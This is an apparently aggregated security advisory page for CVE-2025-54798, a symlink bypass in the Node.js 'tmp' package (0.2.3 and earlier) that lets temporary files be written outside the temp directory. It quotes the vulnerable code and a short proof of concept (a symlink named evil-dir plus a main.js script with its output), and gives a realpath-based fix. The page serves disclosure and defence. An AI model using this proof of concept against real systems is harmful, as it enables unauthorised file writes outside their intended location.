CVE-2025-54798: tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter

Published Aug 6, 2025
·
Updated

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir - name must be relative to tmpdir - dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375 dir: the optional temporary directory that must be relative to the system's default temporary directory. absolute paths are fine as long as they point to a location under the system's default temporary directory. Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because resolvePath does not properly handle symbolic link when resolving paths: js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579 function resolvePath(name, tmpDir) { if (name.startsWith(tmpDir)) { return path.resolve(name); } else { return path.resolve(path.join(tmpDir, name)); } }

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the assertIsRelative check used in assertAndSanitizeOptions: js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609 function assertIsRelative(name, option, tmpDir) { if (option === 'name') { // assert that name is not absolute and does not contain a path if (path.isAbsolute(name)) throw new Error(${option} option must not contain an absolute path, found "${name}".); // must not fail on valid .<name> or ..<name> or similar such constructs let basename = path.basename(name); if (basename === '..' || basename === '.' || basename !== name) throw new Error(${option} option must not contain a path, found "${name}".); } else { // if (option === 'dir' || option === 'template') { // assert that dir or template are relative to tmpDir if (path.isAbsolute(name) && !name.startsWith(tmpDir)) { throw new Error(${option} option must be relative to "${tmpDir}", found "${name}".); } let resolvedPath = resolvePath(name, tmpDir); //<--- if (!resolvedPath.startsWith(tmpDir)) throw new Error(${option} option must be relative to "${tmpDir}", found "${resolvedPath}".); } }

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

- Setup: create a symbolic link inside the tmpDir that points to a directory outside of it bash mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

- check the folder is empty: bash ls -lha $HOME/mydir1 | grep "tmp-"

- run the poc bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

- the temporary file is created under $HOME/mydir1 (outside the tmpDir): bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]

- main.js js // npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name);

try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) }

try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) }

try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) }

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links. js function resolvePath(name, tmpDir) { let resolvedPath; if (name.startsWith(tmpDir)) { resolvedPath = path.resolve(name); } else { resolvedPath = path.resolve(path.join(tmpDir, name)); } return fs.realpathSync(resolvedPath); }

Impact

Arbitrary temporary file / directory write via symlink

Other sources

tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.

MITRE

Affected Software

12 affected componentsFixes available
npm/tmp<=0.2.3
0.2.4
raszi Tmp Node.js<0.2.4
IBM Cognos Analytics<=11.2.0
IBM Cognos Analytics<=12.0
IBM Cognos Transformer<=12.0
IBM Cognos Transformer<=11.2.4
IBM Cognos Transformer<=12.1.0
IBM Cognos Analytics<=11.2.0
IBM Cognos Analytics<=12.1.0
IBM Cognos Analytics<=12.0
IBM Cognos Transformer<=11.2.4
IBM Cognos Transformer<=12.1.0

Event History

Aug 6, 2025
Advisory Published
via GitHub·05:06 PM
Data Sourced
via GitHub·05:06 PM
DescriptionSeverityWeaknessAffected Software
Aug 7, 2025
CVE Published
via MITRE·12:04 AM
Data Sourced
via MITRE·12:04 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
RemedyAffected Software
May 26, 2026
Data Sourced
via IBM·05:05 PM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-54798?

CVE-2025-54798 is classified as a high-severity vulnerability due to its potential for allowing arbitrary file writes.

2

How do I fix CVE-2025-54798?

To fix CVE-2025-54798, upgrade the 'tmp' package to version 0.2.4 or later.

3

What software is affected by CVE-2025-54798?

CVE-2025-54798 affects the 'tmp' package version 0.2.3 and earlier.

4

What type of vulnerability is CVE-2025-54798?

CVE-2025-54798 is an arbitrary temporary file or directory write vulnerability.

5

Where can I find more information about CVE-2025-54798?

More information about CVE-2025-54798 can be found in the GitHub advisory linked with the vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203